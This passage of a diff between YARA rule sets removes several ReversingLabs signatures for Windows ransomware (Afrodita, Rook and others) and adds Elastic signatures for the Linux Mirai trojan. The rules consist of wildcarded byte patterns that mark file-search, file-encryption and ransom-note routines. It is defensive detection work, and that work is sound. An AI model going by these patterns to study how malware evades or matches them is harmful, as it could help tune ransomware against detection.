-            ?? ?? 8B BC 24 ?? ?? ?? ?? 88 9C 2C ?? ?? ?? ?? 8D 75 ?? EB ?? 8D 84 24 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 88 9C 2C ?? ?? ?? ?? 8D 75 ?? 83 C4 ?? 6A ?? 8D 4C 24 ?? 6A ?? 51
-            E8 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 44 24 ?? B9 ?? ?? ?? ?? 80 30 ?? 40 49 75 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 6A ??
-            8D 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? 51 8D
-            94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 44 24 ?? B9 ?? ?? ?? ?? 8B FF 80 30 ?? 40 49 75 ?? 8D 54 24 ?? 52
-            E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 8D
-            54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 54 24
-            ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 83 FF ?? 72 ?? BE ?? ?? ?? ?? 8B 4C 24 ?? 56 8D
-            44 24 ?? 50 51 E8 ?? ?? ?? ?? 01 74 24 ?? 2B FE 83 C4 ?? 43 89 BC 24 ?? ?? ?? ?? 85
-            FF 0F 85 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
-      }
-		$find_files = {
-            83 EC ?? 53 55 56 57 33 DB 68 ?? ?? ?? ?? 6A ?? 89 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ??
-            ?? 8B E8 8D 44 24 ?? 50 89 6C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 55 51 E8 ?? ?? ?? ??
-            8B 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 55 68 ?? ?? ??
-            ?? 89 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B F8 57 8D 54 24 ?? 52 8D 44 24 ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 3B C3 75 ?? 8B 4C 24 ?? 51 8D 54 24 ?? 52 E8 ?? ??
-            ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ??
-            ?? ?? 8B 44 24 ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 4C 24 ??
-            51 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 54 24 ?? 52 56 E8 ?? ?? ??
-            ?? 83 C4 ?? 33 FF 39 5C 24 ?? 76 ?? 8D 64 24 ?? 8B 44 24 ?? 8B 0C B8 51 56 E8 ?? ??
-            ?? ?? 47 83 C4 ?? 3B 7C 24 ?? 72 ?? 39 5C 24 ?? 75 ?? 8B 44 24 ?? 3B C3 74 ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 54 24 ?? 52 56 E8 ?? ?? ??
-            ?? 8B 44 24 ?? 83 C4 ?? 89 5C 24 ?? 3B C3 0F 86 ?? ?? ?? ?? EB ?? 8D 9B ?? ?? ?? ??
-            8B 44 24 ?? 8B 4C 24 ?? 8B 1C 88 53 55 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 57 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8B E8 E8 ?? ?? ?? ?? 6A ?? 56 89 44 24 ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 53 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            56 E8 ?? ?? ?? ?? 33 C0 8D 54 24 ?? 55 52 C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 84
-            24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84
-            24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 44 24 ?? 50 56
-            E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ??
-            ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 8B D3 52 E8 ?? ??
-            ?? ?? 8B 4C 24 ?? 8B 44 24 ?? 8B 6C 24 ?? 41 83 C4 ?? 89 4C 24 ?? 3B C8 0F 82 ?? ??
-            ?? ?? 33 DB 33 F6 3B C3 76 ?? 8B 44 24 ?? 8B 0C B0 51 E8 ?? ?? ?? ?? 46 83 C4 ?? 3B
-            74 24 ?? 72 ?? 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ??
-            3B C3 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 5F 5E 5D 3B C3 5B 74 ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 83 C4 ?? C3
-      }
+		$a = { 0F 35 7E B3 02 00 D0 02 00 00 07 01 00 00 0E 00 00 00 18 03 00 }
 
 	condition:
-		uint16(0)==0x5A4D and $scan_for_services and $find_files and $encrypt_files and $remote_connection
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Afrodita : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_0D73971C : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Afrodita ransomware."
-		author = "ReversingLabs"
-		id = "513963fd-5f3d-5d31-a65a-37f6f5c72260"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Afrodita.yara#L1-L119"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ce7cc445d4c1f59c25b9505fc1f7f9dd0d286ab80510e2977b50ff15433aea60"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "0d73971c-4253-4e7d-b1e1-20b031197f9e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1184-L1202"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead"
+		logic_hash = "56f3bac05fce0a0458e5b80197335e7bef6dcd50b9feb6f1008b8679f29cf37a"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Afrodita"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$exclude_directories_and_drop_ransom_note = {
-            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 8D ?? ??
-            ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D 95 ??
-            ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 75 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B
-            55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ??
-            ?? ?? 89 8D ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A
-            ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? EB ?? B8
-        }
-		$drop_ransom_note_no_dir_exclusion = {
-            8D 95 ?? ?? ?? ?? 52 8B 43 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85
-            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 33 C0 88 85 ?? ?? ?? ?? 33 C9 88 8D ?? ??
-            ?? ?? 33 D2 88 95 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 50 0F B6 8D ?? ?? ?? ?? 51 0F B6
-            95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 E8 ?? ?? ?? ??
-            50 8B 4B ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ??
-            6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 FF 15
-            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B
-            5D ?? B8 ?? ?? ?? ?? C3 C7 45
-        }
-		$find_files_p1 = {
-            8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53
-            57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ??
-            51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ??
-            ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
-            ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B
-            CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ??
-            23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8
-        }
-		$find_files_p2 = {
-            1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75
-            ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
-            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ??
-            80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ??
-            ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ??
-            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ??
-            ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ??
-            5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
-        }
-		$encrypt_files = {
-            53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ??
-            ?? 64 A1 ?? ?? ?? ?? 50 53 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 50 8D 45
-            ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4B ?? 51
-            FF 15 ?? ?? ?? ?? 83 E0 ?? 74 ?? 8B 53 ?? 52 FF 15 ?? ?? ?? ?? 83 E0 ?? 50 8B 43 ??
-            50 FF 15 ?? ?? ?? ?? 8B 4B ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 53
-            ?? 52 8D 45 ?? 50 83 EC ?? 8B CC 89 A5 ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? 8D 55 ?? 52 8B 43 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45
-            ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 43 ?? 50 8D
-            4D ?? 51 83 EC ?? 8B D4 89 A5 ?? ?? ?? ?? 52 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 43 ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ??
-            C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ??
-            33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C2
-        }
+		$a = { 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files) and (($exclude_directories_and_drop_ransom_note) or ($drop_ransom_note_no_dir_exclusion))
+		all of them
 }
-rule REVERSINGLABS_Win64_Ransomware_Rook : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_82C361D4 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Rook ransomware."
-		author = "ReversingLabs"
-		id = "60bbfd57-18bb-58b3-9abc-ab30943bbddd"
-		date = "2022-01-17"
-		modified = "2022-01-17"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Rook.yara#L1-L122"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "dc8b37e55b634de52855dd851dbaaf3e690adfb2e875d0e0c9ef5f4846c6ff30"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "82c361d4-2adf-48f2-a9be-677676d7451f"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1204-L1222"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f8dbcf0fc52f0c717c8680cb5171a8c6c395f14fd40a2af75efc9ba5684a5b49"
+		logic_hash = "766a964d7d35525fbc88adcf86fb69d11f9c63c0d28ceefb3ae79797a7161193"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Rook"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "a8a4252c6f7006181bdb328d496e0e29522f87e55229147bc6cf4d496f5828fb"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            48 2B D6 48 8D 4C 24 ?? 48 FF C2 41 B8 ?? ?? ?? ?? F6 D8 4D 1B FF 4C 23 FA 33 D2 E8
-            ?? ?? ?? ?? 45 33 C9 89 7C 24 ?? 4C 8D 44 24 ?? 48 89 7C 24 ?? 33 D2 48 8B CE FF 15
-            ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 4D 8B CE 45 33 C0 33 D2 48 8B CE E8 ?? ?? ??
-            ?? 8B F8 48 83 FB ?? 74 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B C7 48 8B 8C 24 ?? ?? ?? ??
-            48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 5F
-            5E 5D C3 49 8B 6E ?? 49 2B 2E 48 C1 FD ?? 80 7C 24 ?? ?? 75 ?? 8A 44 24 ?? 84 C0 74
-            ?? 3C ?? 75 ?? 40 38 7C 24 ?? 74 ?? 4D 8B CE 48 8D 4C 24 ?? 4D 8B C7 48 8B D6 E8 ??
-            ?? ?? ?? 85 C0 75 ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 49 8B 06
-            49 8B 56 ?? 48 2B D0 48 C1 FA ?? 48 3B EA 0F 84 ?? ?? ?? ?? 48 2B D5 48 8D 0C E8 4C
-            8D 0D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
-        }
-		$encrypt_files_p1 = {
-            40 55 53 56 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? 0F
-            B6 05 ?? ?? ?? ?? F2 0F 11 44 24 ?? 88 44 24 ?? E8 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ??
-            ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 CE ?? 48 8D 4C 24 ?? 89 35 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 48 63 C8 4C 8D 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24
-            ?? FF 15 ?? ?? ?? ?? 48 63 C8 4C 8D 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0
-            0F 57 C9 F3 0F 7F 05 ?? ?? ?? ?? F3 0F 7F 0D ?? ?? ?? ?? F3 0F 7F 05 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 85 C0 48 89 05 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 0F 44 0D ?? ?? ??
-            ?? 48 89 0D ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF C0 48 8D 15 ?? ??
-            ?? ?? 4C 63 C0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8D 15 ??
-            ?? ?? ?? 48 89 05 ?? ?? ?? ?? 33 DB 48 8B 05 ?? ?? ?? ?? 45 33 C9 48 89 05 ?? ?? ??
-            ?? 45 33 C0 48 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 C7
-        }
-		$encrypt_files_p2 = {
-            C1 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? C7 44 24 ?? ?? ??
-            ?? ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48
-            8D 85 ?? ?? ?? ?? 4C 89 A4 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D
-            25 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 45 33 C9 45 33 C0 4C 89 64 24 ?? 4C 89 BC 24
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8D 2D ?? ?? ?? ?? 83
-            F8 ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 89 5C 24 ??
-            E8 ?? ?? ?? ?? 85 C0 78 ?? 4C 63 C8 4C 8D 85 ?? ?? ?? ?? 48 8D 44 24 ?? 4D 2B C1 48
-            89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 4C 89 64 24 ?? E8 ?? ?? ?? ??
-            49 8B CD FF 15 ?? ?? ?? ?? 44 8B C0 89 05 ?? ?? ?? ?? B8 ?? ?? ?? ?? 41 F7 E8 C1 FA
-            ?? 8B CA C1 E9 ?? 03 D1 69 CA ?? ?? ?? ?? 44 3B C1 74 ?? FF C2 4C 8D 3D ?? ?? ?? ??
-            85 D2 0F 8E ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 49 8B DD 4C 89 B4 24 ?? ?? ?? ?? 49
-        }
-		$encrypt_files_p3 = {
-            8B FF 44 8B F2 0F 1F 00 48 8B 0D ?? ?? ?? ?? 8B 91 ?? ?? ?? ?? 85 D2 74 ?? 83 FA ??
-            75 ?? 48 89 7C 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 C7
-            44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 89 7C 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 89
-            5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C7 ??
-            ?? ?? ?? 48 81 C3 ?? ?? ?? ?? 49 83 EE ?? 75 ?? 4C 8B B4 24 ?? ?? ?? ?? 33 DB 48 8B
-            BC 24 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 FF C6 41 80 3C 34 ?? 75 ?? 48 8B 8D ?? ?? ??
-            ?? 48 8D 15 ?? ?? ?? ?? 89 74 24 ?? 41 B9 ?? ?? ?? ?? 45 33 C0 4C 89 64 24 ?? FF 15
-            ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? 45 33 C0 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? EB ?? 48 8B 8D ?? ?? ?? ?? 48
-            8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D 3D ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 45 33
-            C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 49 8B CC FF
-            15 ?? ?? ?? ?? 49 8B D4 48 8D 0D ?? ?? ?? ?? FF C0 4C 63 C0 E8 ?? ?? ?? ?? 48 8B 05
-            ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ??
-            ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ?? 48 85 C0 74 ?? 48 8B 0D ?? ??
-            ?? ?? FF 50 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 33 D2 44 8D 42 ?? FF D0 48
-            8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 48 63 85 ?? ?? ?? ?? 48 3D ??
